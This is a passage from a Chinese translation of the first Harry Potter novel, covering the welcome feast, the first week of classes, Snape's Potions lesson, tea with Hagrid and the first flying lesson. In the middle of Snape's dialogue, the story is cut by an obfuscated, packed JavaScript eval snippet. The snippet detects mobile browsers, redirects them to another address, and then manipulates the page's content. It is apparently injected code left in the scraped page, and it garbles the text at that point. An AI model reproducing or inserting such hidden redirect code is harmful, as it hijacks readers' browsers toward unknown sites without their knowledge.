哈利哈哈大笑,但笑的人毕竟只有少数几个。 “他不是认真的吧?”哈利悄声问珀西。 “不可能,”珀西朝邓布利多皱起眉头说。“奇怪的是,凡是不准许我们去的地方,他通常都说明原因,比如,树林里有许多危险的野兽,这一点大家都知道。我想他至少该对我们级长讲清楚。” “现在,在大家就寝之前,让我们一起来唱校歌!”邓布利多大声说。哈利发现其他老师的笑容似乎都僵住了。 邓布利多将魔杖轻轻一弹,魔杖中就飘飞出一条长长的金色彩带,在高高的餐桌上空像蛇一样扭动盘绕出一行行文字。 “每人选择自己喜欢的曲调。”邓布利多说,“预备,唱!” 于是全体师生放声高唱起来:霍格沃茨,霍格沃茨,霍格沃茨,霍格沃茨,请教给我们知识,不论我们是谢顶的老人还是跌伤膝盖的孩子,我们的头脑可以接纳一些有趣的事物。 因为现在我们头脑空空,充满空气,死苍蝇和鸡毛蒜皮,教给我们一些有价值的知识,把被我们遗忘的,还给我们,你们只要尽全力,其他的交给我们自己,我们将努力学习,直到化为粪土。 大家七零八落地唱完了这首校歌。只有韦斯莱家的孪生兄弟仍随着《葬礼进行曲》徐缓的旋律继续歌唱。邓布利多用魔杖为他们俩指挥了最后几个小节,等他们唱完,他的掌声最响亮。 “音乐啊,”他揩了揩眼睛说,“比我们在这里所做的一切都更富魅力!现在是就寝的时间了。大家回宿舍去吧。” 格兰芬多的一年级新生跟着珀西,穿过嘈杂的人群,走出餐厅,登上大理石楼梯。哈利的两腿又像灌了铅似的,不过这次是因为他太累,而且吃得太饱。他实在太困了。 因此当走廊画像上的人在他们经过时喁喁私语,指指点点,当珀西两次带领他们穿过暗藏在滑动挡板和垂挂的帷幔后边的门时,他甚至一点儿也没有感到吃惊。他们哈欠连天,拖着沉重的脚步又爬了许多楼梯。啥利正在纳闷,不知他们还要走多久,这时,前边的人突然停了下来。 在他们前边,一捆手杖在半空中飘荡,珀西距后面的人仅一步之遥,于是后面的人都纷纷朝他扑倒下去。 “是皮皮鬼,”珀西小声对一年级新生说,“一个专门喜欢恶作剧的幽灵。”他又抬高嗓门说:“皮皮鬼——显形吧。” 回答他的是响亮、刺耳、像气球泄气似的噗噗的响声。 “你是要我去找血人巴罗吗?” 噗的一声,突然冒出一个小矮人,一对邪恶的黑眼睛,一张大嘴,盘腿在半空中飘荡;双手牢牢抓着那捆手杖。“嗬嗬嗬!”他咯咯地奸笑,“原来是讨厌的一年级的小鬼头啊!太好玩了!” 他突然朝他们猛扑过来。他们一下子惊呆了。 “走开,皮皮鬼,不然我去告诉血人巴罗,我可不是开玩笑!”珀西大吼道。 皮皮鬼伸出舌头,不见了。手杖正好砸在纳威头上。他们听见他腾空而去,飞过时盔甲铿锵作响。 “你们应当对皮皮鬼有所防备。”珀西说,领着大家继续朝前走,“血人巴罗是唯一能降住他的,他甚至连我们这些级长的话都听不进去。我们到了。” 走廊尽头挂着一幅画像,画像上一个非常富态的女人穿着一身粉色的衣服。 “口令?”她说。 “龙渣。”珀西说。只见这幅画摇摇晃晃朝前移去,露出墙上的一个圆形洞口。他们都从墙洞里爬了过去——纳威还得有人拉他一把——之后,他们就发现已经来到格兰芬多的公共休息室了。这是一个舒适的圆形房间,摆满了软绵绵的扶手椅。 珀西指引姑娘们进一扇门,去往她们的寝室,然后再带男生们走进另一道门。在一部螺旋形的楼梯顶上——他们显然是在一座塔里——他们终于找到了自己的铺位:五张带四根帷柱的床,垂挂着深红色法兰绒幔帐。他们的箱子早已送了上来。他们已精疲力竭,不想再多说话,一个个换上睡衣就倒下睡了。 “今天的伙食太丰盛了,是吧?”罗恩隔着幔帐对哈利小声说。“走开,斑斑!它在啃我的床单呢。” 哈利本想问罗恩吃没吃糖浆饼,可没等开口就睡着了。 也许是哈利吃得过饱的缘故,他做了一个非常奇怪的梦。他头上顶着奇洛教授的大围巾,那围巾一个劲地絮絮叨叨,对他说,应当立刻转到斯莱特林去,因为那是命中注定的。哈利告诉围巾他不想去斯莱特林;围巾变得越来越重,他想把它扯掉,但却箍得他头痛——他在挣扎的时候,马尔福在一旁看着他,哈哈大笑;接着马尔福变成了鹰钩鼻老师斯内普;斯内普的笑声更响,也更冷了——只见一道绿光突然一闪,哈利惊醒了,一身冷汗,不停地发抖。他翻过身去,又睡着了。第二天醒来时,一点儿也不记得这个梦了。 9. 魔药课老师 “就在那边,快看。” “哪边?” “在高个红头发男生旁边。” “那个戴眼镜的?”“你看见他的脸了吗?” “看见他那道伤疤了吗?” 第二天,哈利走出寝室,这些窃窃私语就一直紧追着他。学生们在教室外边排着长队,个个踮着脚尖,想一睹他的真面目。在走廊里,他们从他身边走过去,又折回来,死死地盯着他看。哈利真心希望他们不要这样,因为他还要集中注意力寻找去教室的路。 霍格沃茨的楼梯总共有一百四十二处之多。它们有的又宽又大;有的又窄又小,而且摇摇晃晃;有的每逢星期五就通到不同的地方;有些上到半截,一个台阶会突然消失,你得记住在什么地方应当跳过去。另外,这里还有许多门,如果你不客客气气地请它们打开,或者确切地捅对地方,它们是不会为你开门的;还有些门根本不是真正的门,只是一堵堵貌似是门的坚固的墙壁。想要记住哪些东西在什么地方很不容易,因为一切似乎都在不停地移动。画像上的人也不断地互访,而且哈利可以肯定,连甲胄都会行走。 你拿幽灵们也没有办法。常常是当你正要开一扇门时,一个幽灵突然从门后蹿出来,吓你一大跳。差点没头的尼克当然乐意为格兰芬多的新生们指路;可如果你上课已经要迟到,但偏偏又碰上喜欢恶作剧的皮皮鬼,那就比碰到上了锁的两道门外加一道机关重重的楼梯更加难办了。他会把废纸篓扣到你头上,抽掉你脚下的地毯,朝你扔粉笔头,或是偷偷跟在你背后,趁你看不见的时候,抓住你的鼻子大声尖叫:“揪住你的鼻子喽!” 如果还有什么比皮皮鬼更糟糕的,那就要数管理员阿格斯费尔奇了。开学的第一天早上,罗恩和哈利就跟费尔奇之间产生了芥蒂。费尔奇发现他们硬要闯一道门,而那道门正好是通往四楼禁区走廊的入口。费尔奇不相信他们是迷了路,认为他们故意要闯,便威胁着要把他们锁进地牢,幸亏奇洛教授刚好经过这里,帮他们解了围。 费尔奇养了一只猫,名叫洛丽丝夫人。这只骨瘦如柴、毛色暗灰的活物长着像费尔奇那样灯泡似的鼓眼睛。它经常独自在走廊里巡逻。如果当它的面犯规,即使一个脚趾尖出线,它也会飞快地跑去找费尔奇。两分钟后,费尔奇就会吭哧吭哧、连吁带喘地跑过来。费尔奇比谁都清楚校园里的秘密通道(也许韦斯莱家的孪生兄弟除外),而且会像幽灵一样冷不丁蹿出来。同学们对他恨之入骨,许多人都恨不得照他的洛丽丝夫人狠狠地踹上一脚。 然后,一旦你找到教室,那就要面对课程本身了。哈利很快发现除了挥动你的魔杖,念几句好玩的咒语之外,魔法还有许多很高深的学问呢。 每星期三晚上,他们都要用望远镜观测星空,学习不同星星的名称和行星运行的轨迹。一周三次,他们都要由一个叫斯普劳特的矮胖女巫带着到城堡后边的温室去研读药草学,学习如何培育这些奇异的植物和菌类并了解它们的用途。 最令人厌烦的课程大概要算魔法史了,这也是唯一由幽灵教授的课程。想当年宾斯教授在□□休息室的壁炉前睡着了,第二天早上去上课时竟忘记带上自己的身体,足见宾斯教授确实已经很老了。上课时宾斯教授用单调乏味的声音不停地讲,学生们则潦潦草草地记下人名和日期,把恶人墨瑞克和怪人尤里克也搞混了。 教授魔咒的是一位身材小得出奇的男巫弗立维教授,上课时他只得站在一摞书上,这才够得着讲桌。开始上第一堂课时,他拿出名册点名,念到哈利的名字时,他激动得尖叫了一声,倒在地上不见了。 麦格教授跟他们都不一样。哈利没有看错。他一眼就看出这位教授不好对付。她严格、聪明,他们刚坐下来上第一堂课她就给他们来了个下马威。 “变形术是你们在霍格沃茨课程中最复杂也是最危险的法术。”她说,“任何人要在我的课堂上调皮捣蛋,我就请他出去,永远不准他再进来。我可是警告过你们了。” 然后,她把她的讲桌变成了一头猪,然后又变了回来。学生们个个被吸引了,恨不能马上开始学,可他们很快就明白,要把家具变成动物,还需要好长一段时间呢。 他们记下了一大堆复杂艰深的笔记之后,她发给他们每人一根火柴,开始让他们试着变成一根针。到下课的时候,只有赫敏格兰杰让她的火柴起了些变化;麦格教授让全班看火柴怎么变成针的,而且一头还很尖,又向赫敏露出了难得的微笑。 全班真正期待的课程是黑魔法防御术。可奇洛教授这一课几乎成了一场笑话。 他上课的教室里充满了一股大蒜味,人人都说这是为了驱走他在罗马尼亚遇到的一个吸血鬼,怕那个吸血鬼会回过头来抓他。他告诉他们,他的大围巾是一位非洲王子送给他的礼物,那位王子为了答谢他帮助自己摆脱了还魂僵尸的纠缠,不过谁也说不上是真的相信他说的这个故事。首先,当西莫·斐尼甘急不可耐地问奇洛教授是怎么打败还魂僵尸的时候,教授满脸涨得通红,含含糊糊,说起了天气;其次,他们发现他那块大围巾也散发出一股怪味,韦斯莱家的孪生兄弟坚持说那里面肯定也塞满了大蒜,这样无论奇洛教授走到哪里,他都有了防护。 哈利发现自己和大家也不过五十步与百步之差,于是大大地松了一口气。这里许多人像他一样,来自麻瓜家庭,根本没有想到自己会是男女巫师。他们需要学习的东西太多,就连像罗恩这样巫术世家出身的人也不见得领先多少。 星期五,对哈利和罗恩来说是一个关键的日子。他们终于找到了去餐厅吃早饭的路,中途没有迷失方向。 “今天我们都有哪些课?”哈利一边往麦片粥里放糖,一边问罗恩。“跟斯莱特林的学生们一起上两节魔药课。”罗恩说, “斯内普是斯莱特林学院院长,都说他偏向自己的学生,现在倒可以看看是不是真是这样。” “但愿麦格教授也能偏向我们。”哈利说。麦格教授是格兰芬多学院的院长,但她昨天照样给他们留了一大堆作业。 就在这时,邮件到了。现在哈利已经习惯了。可是在第一天吃早饭的时候。百十来只猫头鹰突然飞进餐厅,着实把他吓了一跳。这些猫头鹰围着餐桌飞来飞去,直到找到各自的主人,把信件或包裹扔到他们腿上。 到目前为止,海德薇还没有给哈利带来过任何东西。它有时飞进来啄一下哈利的耳朵,讨上一小口吐司,然后飞回猫头鹰屋,和校园里的其它猫头鹰一起睡觉去了。但是今天早上,它却扑棱着翅膀落到果酱盘和糖罐之间,将一张字条放到了哈利的餐盘上。哈利即刻把字条打开。 亲爱的哈利:(字迹非常潦草零乱)我知道你星期五下午没有课,不知能否在午后三时前后,过来和我一起喝茶?我很想知道你第一周的情况。请让海德薇给我一个回音。 海格 哈利向罗恩借来羽毛笔,在字条背面匆匆写道:“好的,我很乐意,不久见。”然后就让海德薇飞走了。 幸好哈利还有跟海格一起喝茶这么个盼头,因为魔药课是哈利进霍格沃茨之后最厌烦的一门课程。 在开学宴会上,哈利就感到斯内普教授不喜欢他。第一节魔药课结束的时候,他才知道自己想错了。斯内普教授不是不喜欢他,而是恨他。 魔药课是在一问地下教室里上课。这里要比上边城堡主楼阴冷。沿墙摆放着玻璃罐,里面浸泡的动物标本更令你瑟瑟发抖。 斯内普和弗立维一样,一上课就拿起名册,而且也像弗立维一样,点到哈利的名字时就停了下来。 “哦,是的,”他小声说,“哈利·波特,这是我们新来的——鼎鼎大名的人物啊。” 德拉科·马尔福和他的朋友克拉布和高尔,用手捂着嘴吃吃地笑起来。斯内普点完名,便抬眼看着全班同学,眼睛像海格的一样乌黑,却没有海格的那股暖意。他的眼睛冷漠、空洞,使你想到两条漆黑的隧道。 “你们到这里来为的是学习这门魔药配制的精密科学和严格工艺。”他开口说,说话的声音几乎只比耳语略高一些,但人人都听清了他说的每一个字。像麦格教授一样,斯内普教授也有不费吹灰之力能让教室秩序井然的威慑力量。 “由于这里没有傻乎乎地挥动魔杖,所以你们中间有许多人不会相信这是魔法。我并不指望你们能真正领会那文火慢煨的大锅冒着白烟、飘出阵阵清香的美妙所在,你们不会真正懂得流入人们血管的液体,令人心荡神驰、意志迷离的那种神妙魔力…我可以教会你们怎样提高声望,酿造荣耀,甚至阻止死亡——但必须有一条,那就是你们不是我经常遇到的那种笨蛋傻瓜才行。” 他讲完短短的开场白之后,全班哑然无声。哈利和罗恩扬了扬眉,交换了一下眼色。赫敏·格兰杰几乎挪到椅子边上,朝前探着身子,看来是急于证明自己不是笨蛋傻瓜。 “波特!”斯内普突然说,“如果我把水仙根粉末加入艾草浸液会得到什么?” 什么草根粉末放到什么溶液里?哈利看了罗恩一眼,罗恩跟他一样也怔住了;赫敏的手臂高高地举到空中。 “我不知道,先生。”哈利说。 斯内普轻蔑地撇了撇嘴。 “啧,啧——看来名气并不能代表一切。” 斯内普有意不去理会赫敏高举的手臂。 “让我们再试一次吧。波特,如果我要你去给我找一块牛黄,你会到哪里去找?”赫敏尽量在不离开座位的情况下,把手举得老高,哈利却根本不知道牛黄是什么。他尽量不去看马尔福、克拉布和高尔,他们三人笑得浑身发颤。 “我不知道,先生。” “我想,你在开学前一本书也没有翻过,是吧,波特?” 哈利强迫自己直勾勾地盯着他那对冷漠的眼睛。在德思礼家时,他确实把所有的书都翻过了,但是难道斯内普能要求他把《千种神奇药草与蕈类》的内容都背下来吗? 斯内普仍旧没有理会赫敏颤抖的手臂。“波特,那你说说舟形乌头和狼毒乌头有什么区别?” 这时,赫敏站了起来,她的手笔直伸向地下教室的顶棚。 “我不知道,”哈利小声说,“不过,我想,赫敏知道答案,您为什么不问问她呢?”有几个学生笑出声来。哈利碰到了西莫的目光,西莫朝他使了个眼色。斯内普当然很不高兴。 “坐下,”他对赫敏怒喝道,“让我来告诉你吧,波特,水仙根粉和艾草加在一起可以配制成一种效力很强的安眠药,也就是生死水。牛黄是从牛的胃里取出来的一种石头,有极强的解毒作用。至于舟形乌头和狼毒乌头则是同一种植物,也统称乌头。明白了吗?你们为什么不把这些都记下来?” 这时突然响起一阵摸索羽毛笔和羊皮纸的沙沙声。在一片嘈杂声中斯内普说:“波特,由于你顶撞老师,格兰芬多会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15338692|167802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为此被扣掉一分。” 魔药课继续上下去,但格兰芬多的学生们的处境并没有改善。斯内普把他们分成两人一组,指导他们混合调制一种治疗疥疮的简单药水。斯内普拖着他那件很长的黑斗篷在教室里走来走去,看他们称干荨麻,粉碎蛇的毒牙,几乎所有的学生都挨过批评,只有马尔福幸免,看来马尔福是斯内普偏爱的学生。正当他让大家看马尔福蒸煮带触角的鼻涕虫的方法多么完美时,地下教室里突然冒出一股酸性的绿色浓烟,传来一阵很响的咝咝声。纳威不知怎的把西莫的火锅烧成了歪歪扭扭的一块东西,锅里的药水泼到了石板地上,把同学们的鞋都烧出了洞。几秒钟内,全班同学都站到了凳子上,锅被打翻时,纳威浑身浸透了药水,这时他胳膊和腿上到处是红肿的疥疮,痛得他哇哇乱叫。 “白痴!”斯内普咆哮起来,挥起魔杖将泼在地上的药水一扫而光。 “我想你大概是没有把锅从火上端开就把豪猪刺放进去了,是不是?”纳威抽抽搭搭地哭起来,连鼻子上都突然冒出了许多疥疮。 “把他送到上面医院的病房去。”斯内普对西莫厉声说。接着他在哈利和罗恩身边转来转去,他们俩正好挨着纳威操作。“波特,你为什么不告诉他不要加进豪猪刺呢?你以为他出了错就显出你好吗?格兰芬多又因为你丢了一分。”这也太不公平了,哈利正要开口辩解,罗恩在锅后边踢了他一脚。 “别胡来,”他小声说,“听说斯内普特别不讲理。” 一小时后,他们顺着阶梯爬出地下教室,哈利头脑里思绪翻滚,情绪低落。开学第一周格兰芬多就因为他被扣掉了两分,他不知道斯内普为什么这么恨他。“打起精神来,”罗恩说,“斯内普经常扣弗雷德和乔治的分。我能跟你一起去见海格吗?” 十五点差五分时,他们离开城堡穿过田野走去。海格住在禁林边缘的一间小木屋里,大门前有一张石弓和一双橡胶套鞋。 哈利敲门时,他们听见屋里传来一阵紧张的挣扎声和几声低沉的犬吠。接着传来海格的说话声:“往后退,牙牙,往后退。” 海格把门开了一道缝,露出他满是胡须的大脸。 “等一等。”他说,“往后退,牙牙。” 海格把他们俩让了进去,一边拼命抓住一只庞大的黑色猎犬的项圈。小木屋只有一个房间。天花板上挂着火腿、野鸡,火盆里用铜壶烧着开水,墙角里放着一张大床,床上是用碎布拼接的被褥。“不要客气。”海格说着,把牙牙放掉了。牙牙即刻纵身朝罗恩扑过去舔他的耳朵。像海格一样,牙牙显然也不像他的外表那样凶猛。 “这是罗恩。”哈利对海格说。海格正忙着把开水倒进一只大茶壶里,一边把岩皮饼往餐盘里放。“又是一个韦斯莱家的小兄弟吧?”海格说,朝罗恩的满脸雀斑瞟了一眼。“为了把这对孪生兄弟赶出禁林,我几乎耗费了大半辈子的精力。” 岩皮饼差点把他们的牙都硌掉了。哈利和罗恩只能装出很爱吃的样子,一边把这几天上课的情景讲给海格昕。牙牙把头枕在哈利膝头上,口水把他的长袍都洇湿了一大片。 听海格管费尔奇叫“那个老饭桶”,哈利和罗恩很高兴。 “至于那只猫,那个叫洛丽丝夫人的,有朝一日我真想把她介绍给我的牙牙认识认识。你们知道吗,每次我去学校,无论到哪里它都跟着我,甩也甩不掉,准是费尔奇让它这么干的。”哈利对海格讲了斯内普课上的事。海格跟罗恩一样,要哈利不要担心,因为斯内普几乎没有喜欢过任何学生。“可他好像真的很恨我。” “瞎说!”海格说,“他为什么要恨你?” 可哈利总觉得海格在说这话时,有些有意回避他的目光。 “你哥哥查理怎么样?”海格问罗恩。“我很喜欢他——他对动物很有办法。” 哈利怀疑海格有意转移话题。 罗恩向海格讲查理研究龙的情况时,哈利发现茶壶暖罩下压着一张小纸片,那是《预言家日报》上剪下来的一段报道。古灵阁非法闯入事件最新报道有关七月三十一日,古灵阁非法闯入事件的调查仍在继续进行。普遍认为这是不知姓名的黑势力巫师所为。古灵阁的妖精们今日再度强调未被盗走任何东西。被闯入者搜索过的地下金库事实上已于当日早些时候提取一空。一位古灵阁妖精发言人今日午后表示:金库中究竟存放何物,无可奉告,请勿干预此事为好。 哈利想起罗恩在火车上就对他说过,有人试图抢劫古灵阁,不过罗恩没有告诉他具体日期。 “海格!”哈利说,“古灵阁闯入事件发生的那一天正好是我的生日。很可能事情发生的时候我们正好也在那里!” 毫无疑问,海格这次确实不敢正视哈利的眼睛。他只哼了一声,又递给哈利一块岩皮饼。哈利把这篇报道又看了一遍。被闯入者搜索过的地下金库事实上已于当日早些时候提取一空。如果拿走那个脏兮兮的小包就意味着提取一空的话,那么海格就已经把713号地下金库提取一空了。那个脏兮兮的小包,难道就是闯入者要找的东西吗?哈利和罗恩步行回城堡吃晚饭时,他们的衣袋里沉甸甸地装满了岩皮饼,出于礼貌,他们不好意思拒绝。哈利觉得与海格喝了一下午茶后,需要他思考的问题要比这几天上课时需要思考的多得多了:海格及时拿到了那个小包吗?小包现在在什么地方?海格是不是知道一些关于斯内普的事情,但又不愿意告诉他呢? 10. 午夜决斗 哈利以前一直不相信,他竟然会认识一个男孩,而他恨这家伙会比恨达力还厉害,他是在遇到德拉科·马尔福之后才相信这一点的。不过,一年级的格兰芬多学生只有魔药课是和斯莱特林的学生一起上的,所以他们要忍受马尔福还不算困难。至少起初是这样的。后来有一天,他们发现格兰芬多的公共休息室里贴出了一张启事,看了之后全都唉声叹气。星期四就要开始上飞行课了——格兰芬多的学生要和斯莱特林的学生一起上课。 “真倒霉,”哈利沮丧地说,“果然不出我的所料。骑着一把飞天扫帚在马尔福面前出洋相。” 他一直在盼望学习飞行,这愿望比什么都强烈。 “你是不是会出洋相还不一定呢。”罗恩理智地说,“我知道马尔福总是吹嘘,说他玩魁地奇玩得特棒,但我敢打赌他只是在说大话。” 马尔福整天大谈特谈飞行。他大声抱怨一年级新生没有资格参加学院魁地奇球队的规定,他还讲了许多冗长的、自吹自擂的故事,最后总是以他惊险地躲过一架麻瓜的直升飞机为结束。 不过,说这种大话的并不止他一个:听西莫·斐尼甘的口气,似乎他童年时代的大部分时间都是骑着飞天扫帚在旷野里飞来飞去。就连罗恩,只要有人愿意听,也会说起他有一次骑着查理的破扫帚,差点儿撞上了一架悬挂式滑翔机。 每个来自巫师家庭的人都喋喋不休地谈论着魁地奇。 罗恩为了一场足球,已经与同宿舍的迪安·托马斯大吵了一架。罗恩不明白,全场只有一只球,而且谁也不许飞,这种比赛有什么令人激动的。哈利无意中看见罗恩用手在迪安那张西哈姆足球队的海报上捅来捅去,想让队员们都动起来。 纳威这辈子还没有骑过飞天扫帚呢,因为他奶奶从来不让他接近飞天扫帚。哈利私下里觉得他奶奶是很有道理的,纳威即使两只脚都老老实实地踩在地面上,还总能制造层出不穷的事故呢。 对于飞行,赫敏·格兰杰差不多和纳威一样紧张。这种本领你是不可能从书上看到并用心记住的——她不是没有试过。星期四早晨吃早饭的时候,她不停地对他们念叨她从一本名叫《魁地奇溯源》的图书馆藏书中看来的一些飞行指导,把他们烦得够呛。纳威则全神贯注地听着她说的每一个字,眼巴巴地希望听到一点有用的知识,待会儿可以帮助他牢牢地坐在飞天扫帚上。不过,当邮差到来打断了赫敏的演讲时,其他人还是感到非常高兴的。 自从上次海格的那封短信之后,哈利一直没有收到过信,不用说,这一点马尔福很快就注意到了。马尔福的猫头鹰倒是经常给他从家里捎来大包小包的糖果,他总是在斯莱特林的饭桌旁得意洋洋地把它们拆开。 一只猫头鹰从纳威的奶奶那里给他带来了一个小包裹。纳威激动地打开,拿给大家看一个大弹子那么大的玻璃球,里面仿佛充满了白色的烟雾。 “这是记忆球!”他解释说,“奶奶知道我总是没记性——它会告诉你是不是有什么事情你忘记做了。瞧,你把它紧紧握住,像这样,如果它变红了——哦...”他顿时拉长了脸,因为记忆球突然红得发亮,“...你就是忘记什么事情...” 纳威拼命回忆他忘记了什么,就在这时,德拉科·马尔福经过格兰芬多院的饭桌,猛地将记忆球从他手里夺了过去。 哈利和罗恩一跃而起。出于某种原因,他们多少有些希望跟马尔福干上一架。可是,麦格教授总能比别的老师更敏锐地察觉到出了乱子,她一眨眼的工夫就出现了。 “怎么回事?” “马尔福抢了我的记忆球,教授。” 马尔福阴沉着脸,迅速把记忆球扔回到桌上。 “等着瞧。”他说完便匆匆溜走了,克拉布和高尔紧随其后。 那天下午三点半,哈利、罗恩和格兰芬多的其他学生匆匆走下台阶,来到门前的场地上,准备上他们的第一堂飞行课。这是一个晴朗的、有微风的日子,当他们快步走下倾斜的草地、向场地对面一处平坦的草坪走去时,小草在他们脚下微微起着波浪。草坪那边就是森林,远处黑黝黝的树木在风中摇曳。 斯莱特林的学生已经在那里了,还有二十把飞天扫帚整整齐齐地排放在地上。哈利曾经听弗雷德和乔治·韦斯莱抱怨过学校里的飞天扫帚,说有的扫帚在你飞得太高时会簌簌发抖,还有的呢,总是微微地偏向左边。 他们的老师霍琦夫人来了。她有一头短短的灰发,两只眼睛是黄色的,像老鹰的眼睛一样。 “好了,你们大家还等什么?”她厉声说道,“每个人都站到一把飞天扫帚旁边。快,快,抓紧时间。” 哈利低头看了一眼他的飞天扫帚,它又破又旧,一些枝子横七竖八地戳了出来。 “伸出右手,放在扫帚把上方,”霍琦夫人在前面喊道,“然后说:‘起来!’” “起来!”每个人都喊道。 哈利的扫帚立刻就跳到了他手里,但这样听话的扫帚只有少数几把。赫敏·格兰杰的扫帚只是在地上打了个滚,而纳威的扫帚根本纹丝不动。哈利心想,也许扫帚也像马一样,能够看出你内心的胆怯。纳威的声音微微发颤,再明显不过地说明他更希望稳稳地站在地面上。 接着,霍琦夫人向他们示范怎样骑上扫帚而不从扫帚柄上滑下来。她在队伍里走来走去,给他们纠正手的握法。哈利和罗恩听见她批评马尔福一直做得不对。心里不由得暗暗高兴。 “好了,我一吹口哨,你们就两腿一蹬,离开地面,要用力蹬。”霍琦夫人说,“把扫帚拿稳,上升几英尺,然后身体微微前倾,垂直落回地面。听我的口哨——三——二——” 然而,纳威太紧张了,生怕被留在地面上,于是他不等哨子碰到霍琦夫人的嘴唇,就使劲一蹬,飞了上去。 “回来,孩子!”霍琦夫人喊道,可是纳威径直往上升,就像瓶塞从瓶子里喷出来一样——十二英尺——二十英尺。哈利看见他惊恐、煞白的脸望着下面飞速远去的地面,看见他张着大嘴喘气,从扫帚柄一边滑下来,然后——砰——一声坠落,一声猛烈的撞击,纳威面朝下躺在地上的草丛中,缩成一团。他的飞天扫帚还在越升越高,然后开始缓缓地朝禁林方向飘去,消失不见了。 霍琦夫人弯腰俯视纳威,她的脸几乎和纳威的一样惨白。 “手腕断了。”哈利听见她小声地说,“好了,孩子——没事儿,你起来吧。” 她转身对班上其他同学说,“我送这孩子去医院,你们谁都不许动!把飞天扫帚放回原处,不然的话,不等你们来得及说一句‘魁地奇’,就被赶出霍格沃茨大门了。走吧,亲爱的。” 纳威脸上挂着一条条泪痕,他抓着手腕子,一瘸一拐地和霍琦夫人一同离去了。霍琦夫人用胳膊搂着他。 他们刚走得听不见了,马尔福就放声大笑起来。 “你们看见他那副面孔了吗,那个傻大个?”其他斯莱特林的学生也随声附和。 “闭嘴,马尔福。”帕瓦蒂·佩蒂尔厉声地说。 “呵,护着隆巴顿?”潘西·帕金森说,她是一个长相丑陋的斯莱特林女生。“没想到你居然会喜欢胖乎乎的小泪包,佩蒂尔。” “瞧!”马尔福说着,冲过去抓起草地上的什么东西,“是那个大傻瓜隆巴顿的奶奶捎给他的。” 他举起记忆球,它在阳光下闪闪发光。 “拿过来,马尔福。”哈利低声说。大家都停止了说话,注视着。 马尔福丑恶地狞笑着。 “我想把它放在一个什么地方,让隆巴顿去捡——放在一棵树上——怎么样?” “拿过来!”哈利大喊,可是马尔福已经跳上他的扫帚,起飞了。他以前的话并不是吹牛——他确实飞得好——他悬浮在与一棵栎树的树梢平行的高度,大声叫道;“过来拿吧,波特!” 哈利抓起他的扫帚。 “不行!”赫敏·格兰杰喊道,“霍琦夫人叫我们不要动——你会给我们大家带来麻烦的。” 哈利没有理她。血撞得他的耳膜轰轰直响。他骑上飞天扫帚,用力蹬了一下地面,于是他升了上去,空气呼呼地刮过他的头发,长袍在身后呼啦啦地飘扬——他心头陡然一阵狂喜,意识到自己发现了一种他可以无师自通的技能——这么容易,这么美妙。 他把飞天扫帚又抬起了一些,让它飞得更高。他听见地面上传来女孩子们的尖叫声和大喘气声,还听到罗恩发出的敬佩的喊叫。 他猛地把扫帚转过来,对着空中的马尔福。马尔福显得大吃一惊。 “拿过来,”哈利喊道,“不然我就把你从扫帚上撞下去。” “哦,是吗?”马尔福说。他想发出嘲笑,但脸上的表情却很紧张。 哈利好像天生就知道该怎么做。他将身体前倾,用双手紧紧抓住扫帚,于是,扫帚就像标枪一样朝马尔福射去。马尔福勉强闪身躲过;哈利又猛地调转回身,稳稳地抓住扫帚。下面有几个人在鼓掌。 “这里可没有克拉布和高尔为你保驾,马尔福。”哈利喊道。 马尔福似乎也产生了同样的想法。 “给,看你能不能接住!”他大叫一声,把玻璃球高高地扔向空中,然后迅速朝地面降落。 哈利看见玻璃球仿佛是以慢动作升上了天空,随即开始坠落。他前倾着身体,把飞天扫帚指向下面——一眨眼的工夫,他就加速俯冲下去,追赶玻璃球——风在他耳边呼啸,混杂着下面观众的尖叫声,只见他伸出手去,在离地面一英尺的高度接住了玻璃球。他及时把扫帚把扳直,然后他轻轻倒在草地上,手心里稳稳地攥着那只记忆球。 “哈利·波特!” 他的心突然往下一沉,比他刚才俯冲的速度还快。麦格教授正向他们跑来。哈利从地上站起来,浑身发抖。 “我在霍格沃茨这么多年——从来没有——” 麦格教授简直惊讶得说不出话来,她的眼镜片闪烁着愤怒的光芒,“——你怎么敢——你会摔断脖子的——” “不是他的错,教授——” “住嘴,佩蒂尔小姐——” “可是马尔福——” “别说了,韦斯莱先生。好了,波特,跟我来。” 麦格教授大步朝城堡走去,哈利机械地跟在后面。他离开时发觉马尔福、克拉布和高尔脸上露出了得意的神情。他只知道他要被开除了。他想说几句话为自己辩护,但他的嗓子似乎出了毛病。麦格教授大步流星地朝前走,看也不看他一眼;他必须小跑着才能跟得上。他现在完了。他来了还不到两个星期。再过十分钟,他就要收拾东西滚蛋了。达力一家看见他出现在大门口,会说什么呢? 两人登上大门前的台阶,登上里面的大理石楼梯,麦格教授还是一言不发。她拧开一扇扇门,大步穿过一道道走廊,哈利可怜兮兮地跟在后面。教授大概是要带他去见邓布利多吧。他想起了海格,虽然被开除了,但还是获准作为狩猎场看守继续留在了学校里。也许他可以给海格当个助手。他仿佛看见自己拎着海格的口袋,拖着沉重的脚步在场地里走来走去,眼巴巴地看着罗恩和其他人成为巫师,他一想到这些,就觉得胃拧成了一团。 麦格教授在一间教室外面停住脚步。她推开门,把头伸了进去。 “对不起,弗立维教授,可以让伍德出来一会儿吗?” 伍德?哈利迷惑不解地想,难道是木头拐杖,她要用它来教训他? 谁知,伍德原来是一个人,一个高大结实的五年级男生,一脸茫然地走出弗立维的教室。 “你们两个,跟我走。”麦格教授说,三个人一起在走廊里大步前进,伍德好奇地打量着哈利。 “进去。”麦格教授指着一间教室让他们进去,里面只有皮皮鬼一个人,正忙着在黑板上写骂人的话。“出去,皮皮鬼!”她大吼一声。皮皮鬼把粉笔当啷一声扔进垃圾箱,然后骂骂咧咧地冲出教室。麦格教授把门重重地关上,转过身来,面对两个男孩。 “波特,这是奥利弗·伍德。伍德——我替你发现了一个找球手。” 伍德脸上的表情从困惑转为喜悦。 “你当真吗,教授?” 